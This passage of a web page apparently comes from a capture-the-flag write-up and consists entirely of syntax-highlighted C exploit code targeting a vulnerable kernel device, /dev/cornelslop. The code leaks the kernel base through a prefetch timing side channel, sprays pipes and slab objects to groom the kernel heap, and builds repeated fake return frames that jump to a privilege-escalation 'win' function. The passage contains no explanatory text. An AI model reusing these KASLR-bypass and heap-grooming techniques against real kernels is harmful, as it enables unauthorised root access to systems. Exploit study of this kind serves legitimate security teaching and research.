style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    initrd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, INITRD_SIZE, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE, MAP_SHARED </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANONYMOUS </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    stack </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, PAGE_SIZE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE,  MAP_SHARED </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANONYMOUS </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    sem </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, PAGE_SIZE, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE,  MAP_SHARED </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANONYMOUS </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    system</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"touch /tmp/initrd.gz"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> kbase </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> prefetch</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1000000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    info</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"kernel base: 0x</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%lx</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, kbase</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 提升 fd 上限</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rlimit rl;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getrlimit</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">RLIMIT_NOFILE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">rl</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        rl.rlim_cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rl.rlim_max;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        setrlimit</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">RLIMIT_NOFILE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">rl</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">700</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> fds</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">size</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        pipe</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fds</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    char</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> payload</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">PAGE_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">win;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">33</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3206</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">20</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2b</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">28</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">30</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> kbase </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10017ff</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    fd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> open</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/dev/cornelslop"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, O_RDONLY </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> O_CLOEXEC</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> min_partial </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        spary</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        delete</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // CPU 2 partial slabs *4</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // getchar();</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 